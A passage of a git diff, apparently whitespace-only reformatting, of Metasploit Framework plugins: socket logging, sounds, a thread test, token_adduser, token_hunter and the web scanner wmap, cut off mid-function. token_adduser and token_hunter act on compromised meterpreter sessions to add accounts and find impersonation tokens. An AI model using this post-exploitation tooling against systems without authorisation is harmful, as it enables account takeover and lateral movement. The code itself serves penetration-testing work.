sock.initlog(@path, @prefix) + + end + end + end + + + def initialize(framework, opts) + log_path = opts['path'] || "/tmp" + log_prefix = opts['prefix'] || "socket_" + + super + @eh = MySocketEventHandler.new(log_path, log_prefix) + Rex::Socket::Comm::Local.register_event_handler(@eh) + end + + def cleanup + Rex::Socket::Comm::Local.deregister_event_handler(@eh) + end + + def name + "socket_logger" + end + + def desc + "Logs all socket operations to hex dumps in /tmp" + end protected end @@ -72,41 +72,41 @@ def desc module SocketLogger module SocketTracer - @@last_id = 0 - - attr_accessor :context, :params - - # Hook the write method - def write(buf, opts = {}) - @fd.puts "WRITE (#{buf.length} bytes)" - @fd.puts Rex::Text.to_hex_dump(buf) - super(buf, opts) - end - - # Hook the read method - def read(length = nil, opts = {}) - r = super(length, opts) - - @fd.puts "READ (#{r.length} bytes)" - @fd.puts Rex::Text.to_hex_dump(r) - return r - end - - def close(*args) - super(*args) - @fd.close - end - - def initlog(path, prefix) - @log_path = path - @log_prefix = prefix - @log_id = @@last_id - @@last_id += 1 - @fd = File.open(File.join(@log_path, "#{@log_prefix}#{@log_id}.log"), "w") - @fd.puts "Socket created at #{Time.now}" - @fd.puts "Info: #{params.proto} #{params.localhost}:#{params.localport} -> #{params.peerhost}:#{params.peerport}" - @fd.puts "" - end + @@last_id = 0 + + attr_accessor :context, :params + + # Hook the write method + def write(buf, opts = {}) + @fd.puts "WRITE (#{buf.length} bytes)" + @fd.puts Rex::Text.to_hex_dump(buf) + super(buf, opts) + end + + # Hook the read method + def read(length = nil, opts = {}) + r = super(length, opts) + + @fd.puts "READ (#{r.length} bytes)" + @fd.puts Rex::Text.to_hex_dump(r) + return r + end + + def close(*args) + super(*args) + @fd.close + end + + def initlog(path, prefix) + @log_path = path + @log_prefix = prefix + @log_id = @@last_id + @@last_id += 1 + @fd = File.open(File.join(@log_path, "#{@log_prefix}#{@log_id}.log"), "w") + @fd.puts "Socket created at #{Time.now}" + @fd.puts "Info: #{params.proto} #{params.localhost}:#{params.localport} -> #{params.peerhost}:#{params.peerport}" + @fd.puts "" + end end end diff --git a/plugins/sounds.rb b/plugins/sounds.rb index 53a7c99c3298..88a9aff754db 100644 --- a/plugins/sounds.rb +++ b/plugins/sounds.rb @@ -14,88 +14,88 @@ module Msf class Plugin::EventSounds < Msf::Plugin - attr_accessor :theme, :base, :queue, :queue_thread - - include Msf::SessionEvent - - def play_sound(event) - self.queue.push(event) - end - - def on_session_open(session) - event = 'session_open_' + session.type - play_sound(event) - end - - def on_session_close(session, reason='') - sid = session.sid.to_s - play_sound('session') - sid.unpack("C*").each do |c| - play_sound("num" + [c].pack("C")) - end - play_sound('closed') - end - - def on_plugin_load - play_sound('plugin_load') - end - - def on_plugin_unload - play_sound('plugin_unload') - end - - def start_sound_queue - self.queue_thread = Thread.new do - begin - while(true) - while(event = self.queue.shift) - path = ::File.join(self.base, self.theme, "#{event}.wav") - if(::File.exists?(path)) - Rex::Compat.play_sound(path) - else - print_status("Warning: sound file not found: #{path}") - end - end - select(nil, nil, nil, 0.25) - end - rescue ::Exception => e - print_status("Sound plugin: fatal error #{e} #{e.backtrace}") - end - end - end - - def stop_sound_queue - self.queue_thread.kill if self.queue_thread - self.queue_thread = nil - self.queue = [] - end - - - def initialize(framework, opts) - super - - self.queue = [] - self.theme = opts['theme'] || 'default' - self.base = File.join(Msf::Config.install_root, "data", "sounds") - self.framework.events.add_session_subscriber(self) - start_sound_queue - - self.on_plugin_load - end - - def cleanup - self.on_plugin_unload - self.framework.events.remove_session_subscriber(self) - stop_sound_queue - end - - def name - "sounds" - end - - def desc - "Automatically plays a sound when various framework events occur" - end + attr_accessor :theme, :base, :queue, :queue_thread + + include Msf::SessionEvent + + def play_sound(event) + self.queue.push(event) + end + + def on_session_open(session) + event = 'session_open_' + session.type + play_sound(event) + end + + def on_session_close(session, reason='') + sid = session.sid.to_s + play_sound('session') + sid.unpack("C*").each do |c| + play_sound("num" + [c].pack("C")) + end + play_sound('closed') + end + + def on_plugin_load + play_sound('plugin_load') + end + + def on_plugin_unload + play_sound('plugin_unload') + end + + def start_sound_queue + self.queue_thread = Thread.new do + begin + while(true) + while(event = self.queue.shift) + path = ::File.join(self.base, self.theme, "#{event}.wav") + if(::File.exists?(path)) + Rex::Compat.play_sound(path) + else + print_status("Warning: sound file not found: #{path}") + end + end + select(nil, nil, nil, 0.25) + end + rescue ::Exception => e + print_status("Sound plugin: fatal error #{e} #{e.backtrace}") + end + end + end + + def stop_sound_queue + self.queue_thread.kill if self.queue_thread + self.queue_thread = nil + self.queue = [] + end + + + def initialize(framework, opts) + super + + self.queue = [] + self.theme = opts['theme'] || 'default' + self.base = File.join(Msf::Config.install_root, "data", "sounds") + self.framework.events.add_session_subscriber(self) + start_sound_queue + + self.on_plugin_load + end + + def cleanup + self.on_plugin_unload + self.framework.events.remove_session_subscriber(self) + stop_sound_queue + end + + def name + "sounds" + end + + def desc + "Automatically plays a sound when various framework events occur" + end end end diff --git a/plugins/thread.rb b/plugins/thread.rb index abf329a89ea5..bcc9e47036e1 100644 --- a/plugins/thread.rb +++ b/plugins/thread.rb @@ -15,121 +15,121 @@ module Msf ### class Plugin::ThreadTest < Msf::Plugin - ### - # - # This class implements a sample console command dispatcher. - # - ### - class ConsoleCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - # - # The dispatcher's name. - # - def name - "ThreadTest" - end - - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - { - "start_thread" => "Start a background thread that writes to the console", - "stop_thread" => "Stop a background thread", - "list_thread" => "List running threads" - } - end - - def cmd_start_thread(*args) - if (@mythread) - print_line("Test thread is already running") - return - end - - @mythread = ::Thread.new { - while(true) - print_line("--- test thread ---") - select(nil, nil, nil, 5) - end - } - print_line("Test thread created") - end - - def cmd_stop_thread(*args) - if (! @mythread) - print_line("No test thread is running") - return - end - - @mythread.kill - @mythread = nil - print_line("Test thread stopped") - end - - def cmd_list_thread(*args) - Thread.list.each do |t| - print_line(sprintf("Thread: 0x%.8x (%s/%d) (%s)", t.object_id, t.status, t.priority, t.tsource)) - print_line("") - end - end - end - - # - # The constructor is called when an instance of the plugin is created. The - # framework instance that the plugin is being associated with is passed in - # the framework parameter. Plugins should call the parent constructor when - # inheriting from Msf::Plugin to ensure that the framework attribute on - # their instance gets set. - # - def initialize(framework, opts) - super - - # If this plugin is being loaded in the context of a console application - # that uses the framework's console user interface driver, register - # console dispatcher commands. - add_console_dispatcher(ConsoleCommandDispatcher) - - # Extend the thread to track the calling source - Thread.class_eval(" - attr_accessor :tsource - - alias initialize_old initialize - - def initialize(&block) - self.tsource = caller(1) - initialize_old(&block) - end - ") - - print_status("ThreadTest plugin loaded.") - end - - # - # The cleanup routine for plugins gives them a chance to undo any actions - # they may have done to the framework. For instance, if a console - # dispatcher was added, then it should be removed in the cleanup routine. - # - def cleanup - # If we had previously registered a console dispatcher with the console, - # deregister it now. - remove_console_dispatcher('ThreadTest') - end - - # - # This method returns a short, friendly name for the plugin. - # - def name - "threadtest" - end - - # - # This method returns a brief description of the plugin. It should be no - # more than 60 characters, but there are no hard limits. - # - def desc - "Thread testing plugin" - end + ### + # + # This class implements a sample console command dispatcher. + # + ### + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + # + # The dispatcher's name. + # + def name + "ThreadTest" + end + + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + { + "start_thread" => "Start a background thread that writes to the console", + "stop_thread" => "Stop a background thread", + "list_thread" => "List running threads" + } + end + + def cmd_start_thread(*args) + if (@mythread) + print_line("Test thread is already running") + return + end + + @mythread = ::Thread.new { + while(true) + print_line("--- test thread ---") + select(nil, nil, nil, 5) + end + } + print_line("Test thread created") + end + + def cmd_stop_thread(*args) + if (! @mythread) + print_line("No test thread is running") + return + end + + @mythread.kill + @mythread = nil + print_line("Test thread stopped") + end + + def cmd_list_thread(*args) + Thread.list.each do |t| + print_line(sprintf("Thread: 0x%.8x (%s/%d) (%s)", t.object_id, t.status, t.priority, t.tsource)) + print_line("") + end + end + end + + # + # The constructor is called when an instance of the plugin is created. The + # framework instance that the plugin is being associated with is passed in + # the framework parameter. Plugins should call the parent constructor when + # inheriting from Msf::Plugin to ensure that the framework attribute on + # their instance gets set. + # + def initialize(framework, opts) + super + + # If this plugin is being loaded in the context of a console application + # that uses the framework's console user interface driver, register + # console dispatcher commands. + add_console_dispatcher(ConsoleCommandDispatcher) + + # Extend the thread to track the calling source + Thread.class_eval(" + attr_accessor :tsource + + alias initialize_old initialize + + def initialize(&block) + self.tsource = caller(1) + initialize_old(&block) + end + ") + + print_status("ThreadTest plugin loaded.") + end + + # + # The cleanup routine for plugins gives them a chance to undo any actions + # they may have done to the framework. For instance, if a console + # dispatcher was added, then it should be removed in the cleanup routine. + # + def cleanup + # If we had previously registered a console dispatcher with the console, + # deregister it now. + remove_console_dispatcher('ThreadTest') + end + + # + # This method returns a short, friendly name for the plugin. + # + def name + "threadtest" + end + + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Thread testing plugin" + end protected end diff --git a/plugins/token_adduser.rb b/plugins/token_adduser.rb index b3cd13e04683..8fa48d8f8d0f 100644 --- a/plugins/token_adduser.rb +++ b/plugins/token_adduser.rb @@ -15,103 +15,103 @@ module Msf class Plugin::TokenAdduser < Msf::Plugin - class TokenCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "Token Adduser" - end - - def commands - { - 'token_adduser' => "Attempt to add an account using all connected meterpreter session tokens" - } - end - - def cmd_token_adduser(*args) - - opts = Rex::Parser::Arguments.new( - "-h" => [ true, "Add account to host"], - ) - - # This is ugly. - if (args.length == 0) - print_line("Usage: token_adduser [options] ") - print_line(opts.usage) - return - end - - opt_user_pass = [] - username = nil - password = nil - host = nil - opts.parse(args) do |opt, idx, val| - case opt - when "-h" - host = val - - else - # Excuse my weak ruby skills. I'm sure there's a better way to get username and password - # from the args. - opt_user_pass << val - end - end - - # Again, I'm sure there's a better way to do this. - username = opt_user_pass[0] - password = opt_user_pass[1] - - tokens_del = {} - tokens_imp = {} - - framework.sessions.each_key do |sid| - session = framework.sessions[sid] - next unless session.type == "meterpreter" - - print_status(">> Opening session #{session.sid} / #{session.session_host}") - - unless session.incognito - session.core.use("incognito") - end - - unless session.incognito - print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") - next - end - #print "DEBUG #{username} #{password}\n" - res = session.incognito.incognito_add_user(host,username,password) - if(res) - print "#{res}\n" - - # Currently only stops on success if a user is trying to be added to a specific - # host. I can't think of a good reason to stop on success (or even make it an option) - # when trying to add a user to local sessions. - if (host) - if res =~ /\[\+\] Successfully|\[\-\] Password does not meet complexity requirements|\[\-\] User already exists/ - break - end - end - end - end - end - end - - - def initialize(framework, opts) - super - add_console_dispatcher(TokenCommandDispatcher) - end - - def cleanup - remove_console_dispatcher('Token Adduser') - end - - def name - "token_adduser" - end - - def desc - "Attempt to add an account using all connected meterpreter session tokens" - end + class TokenCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + "Token Adduser" + end + + def commands + { + 'token_adduser' => "Attempt to add an account using all connected meterpreter session tokens" + } + end + + def cmd_token_adduser(*args) + + opts = Rex::Parser::Arguments.new( + "-h" => [ true, "Add account to host"], + ) + + # This is ugly. + if (args.length == 0) + print_line("Usage: token_adduser [options] ") + print_line(opts.usage) + return + end + + opt_user_pass = [] + username = nil + password = nil + host = nil + opts.parse(args) do |opt, idx, val| + case opt + when "-h" + host = val + + else + # Excuse my weak ruby skills. I'm sure there's a better way to get username and password + # from the args. + opt_user_pass << val + end + end + + # Again, I'm sure there's a better way to do this. + username = opt_user_pass[0] + password = opt_user_pass[1] + + tokens_del = {} + tokens_imp = {} + + framework.sessions.each_key do |sid| + session = framework.sessions[sid] + next unless session.type == "meterpreter" + + print_status(">> Opening session #{session.sid} / #{session.session_host}") + + unless session.incognito + session.core.use("incognito") + end + + unless session.incognito + print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") + next + end + #print "DEBUG #{username} #{password}\n" + res = session.incognito.incognito_add_user(host,username,password) + if(res) + print "#{res}\n" + + # Currently only stops on success if a user is trying to be added to a specific + # host. I can't think of a good reason to stop on success (or even make it an option) + # when trying to add a user to local sessions. + if (host) + if res =~ /\[\+\] Successfully|\[\-\] Password does not meet complexity requirements|\[\-\] User already exists/ + break + end + end + end + end + end + end + + + def initialize(framework, opts) + super + add_console_dispatcher(TokenCommandDispatcher) + end + + def cleanup + remove_console_dispatcher('Token Adduser') + end + + def name + "token_adduser" + end + + def desc + "Attempt to add an account using all connected meterpreter session tokens" + end end end diff --git a/plugins/token_hunter.rb b/plugins/token_hunter.rb index 04dcff00c901..19fde036600e 100644 --- a/plugins/token_hunter.rb +++ b/plugins/token_hunter.rb @@ -7,147 +7,147 @@ module Msf class Plugin::TokenHunter < Msf::Plugin - class TokenCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "Token Hunter" - end - - def commands - { - 'token_hunt_user' => "Scan all connected meterpreter sessions for active tokens corresponding to one or more users" - } - end - - def cmd_token_hunt_user(*args) - - opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-f" => [ true, "A file containing a list of users to search for (one per line)"] - ) - - opt_userfile = nil - opt_users = [] - - opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line("Usage: token_hunt_user [options] [username] .. [username]") - print_line(opts.usage) - return - when "-f" - opt_userfile = val - else - opt_users << val - end - end - - if(opt_userfile) - ::File.open(opt_userfile, "rb") do |fd| - fd.each_line do |line| - line.strip! - next if line.empty? - next if line =~ /^#/ - opt_users << line - end - end - end - - opt_users.uniq! - - tokens_del = {} - tokens_imp = {} - - framework.sessions.each_key do |sid| - session = framework.sessions[sid] - next if session.type != "meterpreter" - - print_status(">> Scanning session #{session.sid} / #{session.session_host}") - - if(! session.incognito) - session.core.use("incognito") - end - - if(! session.incognito) - print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") - next - end - - res = session.incognito.incognito_list_tokens(0) - if(res) - res["delegation"].split("\n").each do |user| - - opt_users.each do |needle| - - ndom,nusr = needle.split("\\") - if(not nusr) - nusr = ndom - ndom = nil - end - - if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase) - print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)") - next - end - - fdom,fusr = user.split("\\") - - if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase) - print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)") - end - end - - tokens_del[user] ||= [] - tokens_del[user] << session.sid - end - - - res["impersonation"].split("\n").each do |user| - - opt_users.each do |needle| - ndom,nusr = needle.split("\\") - if(not nusr) - nusr = ndom - ndom = nil - end - - if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase) - print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)") - next - end - - fdom,fusr = user.split("\\") - if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase) - print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)") - end - end - - tokens_imp[user] ||= [] - tokens_imp[user] << session.sid - end - end - end - end - end - - - def initialize(framework, opts) - super - add_console_dispatcher(TokenCommandDispatcher) - end - - def cleanup - remove_console_dispatcher('Token Hunter') - end - - def name - "token_hunter" - end - - def desc - "Search all active meterpreter sessions for specific tokens" - end + class TokenCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + "Token Hunter" + end + + def commands + { + 'token_hunt_user' => "Scan all connected meterpreter sessions for active tokens corresponding to one or more users" + } + end + + def cmd_token_hunt_user(*args) + + opts = Rex::Parser::Arguments.new( + "-h" => [ false, "This help menu"], + "-f" => [ true, "A file containing a list of users to search for (one per line)"] + ) + + opt_userfile = nil + opt_users = [] + + opts.parse(args) do |opt, idx, val| + case opt + when "-h" + print_line("Usage: token_hunt_user [options] [username] .. [username]") + print_line(opts.usage) + return + when "-f" + opt_userfile = val + else + opt_users << val + end + end + + if(opt_userfile) + ::File.open(opt_userfile, "rb") do |fd| + fd.each_line do |line| + line.strip! + next if line.empty? + next if line =~ /^#/ + opt_users << line + end + end + end + + opt_users.uniq! + + tokens_del = {} + tokens_imp = {} + + framework.sessions.each_key do |sid| + session = framework.sessions[sid] + next if session.type != "meterpreter" + + print_status(">> Scanning session #{session.sid} / #{session.session_host}") + + if(! session.incognito) + session.core.use("incognito") + end + + if(! session.incognito) + print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") + next + end + + res = session.incognito.incognito_list_tokens(0) + if(res) + res["delegation"].split("\n").each do |user| + + opt_users.each do |needle| + + ndom,nusr = needle.split("\\") + if(not nusr) + nusr = ndom + ndom = nil + end + + if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase) + print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)") + next + end + + fdom,fusr = user.split("\\") + + if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase) + print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)") + end + end + + tokens_del[user] ||= [] + tokens_del[user] << session.sid + end + + + res["impersonation"].split("\n").each do |user| + + opt_users.each do |needle| + ndom,nusr = needle.split("\\") + if(not nusr) + nusr = ndom + ndom = nil + end + + if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase) + print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)") + next + end + + fdom,fusr = user.split("\\") + if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase) + print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)") + end + end + + tokens_imp[user] ||= [] + tokens_imp[user] << session.sid + end + end + end + end + end + + + def initialize(framework, opts) + super + add_console_dispatcher(TokenCommandDispatcher) + end + + def cleanup + remove_console_dispatcher('Token Hunter') + end + + def name + "token_hunter" + end + + def desc + "Search all active meterpreter sessions for specific tokens" + end end end diff --git a/plugins/wmap.rb b/plugins/wmap.rb index cc7217b6b4e7..d64471b4be9c 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -13,2277 +13,2277 @@ module Msf class Plugin::Wmap < Msf::Plugin - class WmapCommandDispatcher - - attr_accessor :wmapmodules # Enabled Wmap modules - attr_accessor :targets # Targets - attr_accessor :lastsites # Temp location of previously obtained sites - attr_accessor :rpcarr # Array or rpc connections - attr_accessor :njobs # Max number of jobs - attr_accessor :nmaxdisplay # Flag to stop displaying the same mesg - attr_accessor :runlocal # Flag to run local modules only - attr_accessor :masstop # Flag to stop everything - attr_accessor :killwhenstop # Kill process when exiting - - include Msf::Ui::Console::CommandDispatcher - - def name - "wmap" - end - - # - # The initial command set - # - def commands - { - "wmap_targets" => "Manage targets", - "wmap_sites" => "Manage sites", - "wmap_nodes" => "Manage nodes", - "wmap_run" => "Test targets", - "wmap_modules" => "Manage wmap modules", - "wmap_vulns" => "Display web vulns", - } - end - - def cmd_wmap_vulns(*args) - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-l' - view_vulns - return - when '-h' - print_status("Usage: wmap_vulns [options]") - print_line("\t-h Display this help text") - print_line("\t-l Display web vulns table") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - - def cmd_wmap_modules(*args) - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-l' - view_modules - return - when '-r' - load_wmap_modules(true) - return - when '-h' - print_status("Usage: wmap_modules [options]") - print_line("\t-h Display this help text") - print_line("\t-l List all wmap enabled modules") - print_line("\t-r Reload wmap modules") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - def cmd_wmap_targets(*args) - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-c' - self.targets = Hash.new() - when '-l' - view_targets - return - when '-t' - process_urls(args.shift) - when '-d' - process_ids(args.shift) - when '-h' - print_status("Usage: wmap_targets [options]") - print_line("\t-h Display this help text") - print_line("\t-t [urls] Define target sites (vhost1,url[space]vhost2,url) ") - print_line("\t-d [ids] Define target sites (id1, id2, id3 ...)") - print_line("\t-c Clean target sites list") - print_line("\t-l List all target sites") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - def cmd_wmap_sites(*args) - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-a' - s = add_web_site(args.shift) - if s - print_status("Site created.") - else - print_error("Unable to create site") - end - when '-d' - del_idx = args - if del_idx - delete_sites(del_idx.select {|d| d =~ /^[0-9]*$/}.map(&:to_i).uniq) - return - else - print_error("Provide index of site to delete") - end - when '-l' - view_sites - return - when '-s' - u = args.shift - l = args.shift - s = args.shift - - if not u - return - end - - if l == nil or l.empty? - l = 200 - s = true - else - l = l.to_i - s = false - end - - if u.include? 'http' - # Parameters are in url form - view_site_tree(u,l,s) - else - # Parameters are digits - if !self.lastsites or self.lastsites.length == 0 - view_sites - print_status ("Web sites ids. referenced from previous table.") - end - - target_whitelist = [] - ids = u.to_s.split(/,/) - - ids.each do |id| - next if id.to_s.strip.empty? - - if id.to_i > self.lastsites.length - print_error("Skipping id #{id}...") - else - target_whitelist << self.lastsites[id.to_i] - #print_status("Loading #{self.lastsites[id.to_i]}.") - end - end - - # Skip the DB entirely if no matches - return if target_whitelist.length == 0 - - if not self.targets - self.targets = Hash.new() - end - - target_whitelist.each do |ent| - view_site_tree(ent,l,s) - end - end - return - when '-h' - print_status("Usage: wmap_sites [options]") - print_line("\t-h Display this help text") - print_line("\t-a [url] Add site (vhost,url)") - print_line("\t-d [ids] Delete sites (separate ids with space)") - print_line("\t-l List all available sites") - print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - def cmd_wmap_nodes(*args) - - if not self.rpcarr - self.rpcarr=Hash.new() - end - - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-a' - h = args.shift - r = args.shift - s = args.shift - u = args.shift - p = args.shift - - res = rpc_add_node(h,r,s,u,p,false) - if res - print_status("Node created.") - else - print_error("Unable to create node") - end - when '-c' - idref = args.shift - - if not idref - print_error("No id defined") - return - end - if idref.upcase == 'ALL' - print_status("All nodes removed") - self.rpcarr = Hash.new() - else - idx=0 - self.rpcarr.each do |k,v| - if idx == idref.to_i - self.rpcarr.delete(k) - print_status("Node deleted #{k}") - end - idx += 1 - end - end - when '-d' - host = args.shift - port = args.shift - user = args.shift - pass = args.shift - dbname = args.shift - - res = rpc_db_nodes(host,port,user,pass,dbname) - if res - print_status("OK.") - else - print_error("Error") - end - when '-l' - rpc_list_nodes - return - when '-j' - rpc_view_jobs - return - when '-k' - node = args.shift - jid = args.shift - rpc_kill_node(node,jid) - return - when '-h' - print_status("Usage: wmap_nodes [options]") - print_line("\t-h Display this help text") - print_line("\t-c id Remove id node (Use ALL for ALL nodes") - print_line("\t-a host port ssl user pass Add node") - print_line("\t-d host port user pass db Force all nodes to connect to db") - print_line("\t-j View detailed jobs") - print_line("\t-k ALL|id ALL|job_id Kill jobs on node") - print_line("\t-l List all current nodes") - - print_line("") - return - else - print_error("Unknown flag.") - return - end - end - end - - def cmd_wmap_run(*args) - # Stop everything - self.masstop = false - self.killwhenstop = true - - trap("INT") { - print_error("Stopping execution...") - self.masstop = true - if self.killwhenstop - rpc_kill_node('ALL','ALL') - end - } - - # Max numbers of concurrent jobs per node - self.njobs = 25 - self.nmaxdisplay = false - self.runlocal = false - - # Formating - sizeline = 60 - - wmap_show = 2**0 - wmap_expl = 2**1 - - # Exclude files can be modified by setting datastore['WMAP_EXCLUDE'] - wmap_exclude_files = '.*\.(gif|jpg|png*)$' - - run_wmap_ssl = true - run_wmap_server = true - run_wmap_dir_file = true - run_wmap_query = true - run_wmap_unique_query = true - run_wmap_generic = true - - # If module supports datastore['VERBOSE'] - moduleverbose = false - - showprogress = false - - if not self.rpcarr - self.rpcarr = Hash.new() - end - - if not run_wmap_ssl - print_status("Loading of wmap ssl modules disabled.") - end - if not run_wmap_server - print_status("Loading of wmap server modules disabled.") - end - if not run_wmap_dir_file - print_status("Loading of wmap dir and file modules disabled.") - end - if not run_wmap_query - print_status("Loading of wmap query modules disabled.") - end - if not run_wmap_unique_query - print_status("Loading of wmap unique query modules disabled.") - end - if not run_wmap_generic - print_status("Loading of wmap generic modules disabled.") - end - - stamp = Time.now.to_f - mode = 0 - - eprofile = [] - using_p = false - using_m = false - usinginipath = false - - mname = '' - inipathname = '/' - - args.push("-h") if args.length == 0 - - while (arg = args.shift) - case arg - when '-t' - mode |= wmap_show - when '-e' - mode |= wmap_expl - - profile = args.shift - - if profile - print_status("Using profile #{profile}.") - - begin - File.open(profile).each do |str| - if not str.include? '#' - # Not a comment - modname = str.strip - if not modname.empty? - eprofile << modname - end - end - using_p = true - end - rescue - print_error("Profile not found or invalid.") - return - end - else - print_status("Using ALL wmap enabled modules.") - end - when '-m' - mode |= wmap_expl - - mname = args.shift - - if mname - print_status("Using module #{mname}.") - end - using_m = true - when '-p' - mode |= wmap_expl - - inipathname = args.shift - - if inipathname - print_status("Using initial path #{inipathname}.") - end - usinginipath = true - - when '-h' - print_status("Usage: wmap_run [options]") - print_line("\t-h Display this help text") - print_line("\t-t Show all enabled modules") - print_line("\t-m [regex] Launch only modules that name match provided regex.") - print_line("\t-p [regex] Only test path defined by regex.") - print_line("\t-e [/path/to/profile] Launch profile modules against all matched targets.") - print_line("\t (No profile file runs all enabled modules.)") - print_line("") - return - else - print_error("Unknown flag") - return - end - end - - if (self.rpcarr.length == 0) and (mode & wmap_show == 0) - print_error("NO WMAP NODES DEFINED. Executing local modules") - self.runlocal = true - end - - if self.targets == nil - print_error("Targets have not been selected.") - return - end - - if self.targets.keys.length == 0 - print_error("Targets have not been selected.") - return - end - - execmod = true - if (mode & wmap_show != 0) - execmod = false - end - - self.targets.each_with_index do |t, idx| - - selected_host = t[1][:host] - selected_port = t[1][:port] - selected_ssl = t[1][:ssl] - selected_vhost = t[1][:vhost] - - print_status ("Testing target:") - print_status ("\tSite: #{selected_vhost} (#{selected_host})") - print_status ("\tPort: #{selected_port} SSL: #{selected_ssl}") - print_line '='* sizeline - print_status("Testing started. #{(Time.now )}") - - if not selected_ssl - run_wmap_ssl = false - #print_status ("Target is not SSL. SSL modules disabled.") - end - - # wmap_dir, wmap_file - matches = Hash.new() - - # wmap_server - matches1 = Hash.new() - - # wmap_query - matches2 = Hash.new() - - # wmap_ssl - matches3 = Hash.new() - - # wmap_unique_query - matches5 = Hash.new() - - # wmap_generic - matches10 = Hash.new() - - # OPTIONS - opt_str = nil - jobify = false - - # This will be clean later - load_wmap_modules(false) - - self.wmapmodules.each do |w| - case w[2] - when :wmap_server - if run_wmap_server - matches1[w]=true - end - when :wmap_query - if run_wmap_query - matches2[w]=true - end - when :wmap_unique_query - if run_wmap_unique_query - matches5[w]=true - end - when :wmap_generic - if run_wmap_generic - matches10[w]=true - end - when :wmap_dir, :wmap_file - if run_wmap_dir_file - matches[w]=true - end - when :wmap_ssl - if run_wmap_ssl - matches3[w]=true - end - else - # Black Hole - end - end - - # Execution order (orderid) - matches = sort_by_orderid(matches) - matches1 = sort_by_orderid(matches1) - matches2 = sort_by_orderid(matches2) - matches3 = sort_by_orderid(matches3) - matches5 = sort_by_orderid(matches5) - matches10 = sort_by_orderid(matches10) - - # - # Handle modules that need to be run before all tests IF SERVER is SSL, once usually again the SSL web server. - # :wmap_ssl - # - - print_status "\n=[ SSL testing ]=" - print_line "=" * sizeline - - if not selected_ssl - print_status ("Target is not SSL. SSL modules disabled.") - end - - idx = 0 - matches3.each_key do |xref| - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - begin - if execmod - rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) - end - rescue ::Exception - print_status(" >> Exception during launch from #{xref[0]}: #{$!}") - end - end - - rescue ::Exception - print_status(" >> Exception from #{xref[0]}: #{$!}") - end - end - end - - # - # Handle modules that need to be run before all tests, once usually again the web server. - # :wmap_server - # - print_status "\n=[ Web Server testing ]=" - print_line "=" * sizeline - - idx = 0 - matches1.each_key do |xref| - - if self.masstop - print_error("STOPPED.") - return - end - - # Module not part of profile or not match - if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) - idx += 1 - - begin - # Module options hash - modopts = Hash.new() - - # - # The code is just a proof-of-concept and will be expanded in the future - # - - print_status "Module #{xref[0]}" - - if (mode & wmap_expl != 0) - - # - # For modules to have access to the global datastore - # i.e. set -g DOMAIN test.com - # - self.framework.datastore.each do |gkey,gval| - modopts[gkey]=gval - end - - # - # Parameters passed in hash xref - # - modopts['RHOST'] = selected_host - modopts['RHOSTS'] = selected_host - modopts['RPORT'] = selected_port.to_s - modopts['SSL'] = selected_ssl - modopts['VHOST'] = selected_vhost.to_s - modopts['VERBOSE'] = moduleverbose - modopts['ShowProgress'] = showprogress - modopts['RunAsJob'] = jobify - - begin - if execmod - 